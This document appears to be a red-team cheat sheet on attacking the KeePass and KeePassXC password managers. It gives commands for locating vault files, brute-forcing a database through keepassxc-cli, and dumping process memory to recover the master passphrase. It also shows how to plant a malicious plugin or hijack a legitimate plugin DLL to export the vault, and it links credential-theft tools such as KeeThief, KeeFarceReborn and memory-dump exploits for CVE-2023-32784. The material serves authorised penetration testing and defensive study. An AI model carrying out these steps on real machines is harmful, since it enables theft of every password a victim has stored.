KeePass

• https://blog.harmj0y.net/redteaming/a-case-study-in-attacking-keepass/

• https://blog.harmj0y.net/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/

• https://habr.com/ru/post/346820/

• https://gist.github.com/naksyn/6d5660dacd0730498a274b85d62a77e8

Enumerate DB locations:

Cmd > type %APPDATA%\KeePass\KeePass.config.xml | findstr "<Path>"

Unlock with CLI:

$ for pw in `cat passwords.txt`; do echo "$pw" | keepassxc-cli ls db.kdbx [--key-file key.keyx] |& grep -v -e Enter -e Error -e If; done

KeePassXC

• https://github.com/keepassxreboot/keepassxc

PS > [System.Diagnostics.FileVersionInfo]::GetVersionInfo($(Get-Item "C:\Program Files\KeePassXC\KeePassXC.exe")).FileVersion

Extract Passphrase from Memory

• https://github.com/d3lb3/KeePass-the-Hash

Using strings2:

PS > .\strings2.exe -pid (Get-Process KeePassXC) -a -wide > KeePassXC_strings.txt
PS > gc .\KeePassXC_strings.txt | Select-String -Pattern "Passw0"
PS > (gc .\KeePassXC_strings.txt).length
PS > (gc .\KeePassXC_strings.txt).length / 1mb

Using Get-ProcessStrings from PowerShellArsenal/MemoryTools:

PS > Get-ProcessStrings -Id 1337 | Out-File KeePassXC_strings.txt
$ dos2unix KeePassXC_strings.txt
$ cat KeePassXC_strings.txt | awk '{print $3}' | grep -x '.\{5,30\}' > words

DLL Hijacking

• https://skr1x.github.io/keepass-dll-hijacking/

Extract Passphrase from Memory (< v2.53.1)

CVE-2023-32784

• https://github.com/vdohney/keepass-password-dumper

• https://github.com/CMEPW/keepass-dump-masterkey

• https://www.forensicxlab.com/posts/keepass/

Abusing KeePass Triggers (< v2.54)

• https://d3lb3.github.io/keepass_triggers_arent_dead/

• https://gist.github.com/d3lb3/fb6f5d82e47744f56117b350d94a6029

• https://19dx.ru/2023/06/triggery-keepass-mertvy-da-zdravstvuyut-triggery-keepass/

Tools

KeeFarce

• https://github.com/denandz/KeeFarce

KeeFarceReborn

• https://github.com/d3lb3/KeeFarceReborn

Abusing the KeePass Plugin Cache

• https://blog.quarkslab.com/post-exploitation-abusing-the-keepass-plugin-cache.html

• https://github.com/d3lb3/KeeFarceReborn/tree/main/KeeFarceRebornPlugin

Export DB by compiling and loading a custom plugin (requires admin's privileges to place the .plgx file):

Cmd > KeePass.exe --plgx-create C:\KeeFarceReborn\KeeFarceRebornPlugin
Cmd > copy C:\KeeFarceReborn\KeeFarceRebornPlugin.plgx "C:\Program Files\KeePass Password Safe 2\Plugins"

Export DB by hijacking a legit plugin DLL (requires an existent plugin in use):

Cmd > copy "C:\Program Files\KeePass Password Safe 2\KeePass.exe" .
Cmd > devenv /build Release KeeFarceRebornPlugin.sln
Cmd > copy C:\KeeFarceReborn\KeeFarceRebornPlugin\bin\Release\KeeFarceRebornPlugin.dll C:\Users\snovvcrash\AppData\Local\KeePass\PluginCache\3o7A46QKgc2z6Yz1JH88\LegitPlugin.dll

KeePassHax

• https://github.com/HoLLy-HaCKeR/KeePassHax

KeeThief

• https://github.com/GhostPack/KeeThief

CrackMapExec

• https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/modules/keepass_discover.py

• https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/modules/keepass_trigger.py

KeePwn

• https://github.com/Orange-Cyberdefense/KeePwn

ThievingFox

• https://blog.slowerzs.net/posts/thievingfox/

• https://github.com/Slowerzs/ThievingFox/tree/main/keepassfox

• https://github.com/Slowerzs/ThievingFox/tree/main/keepassxcfox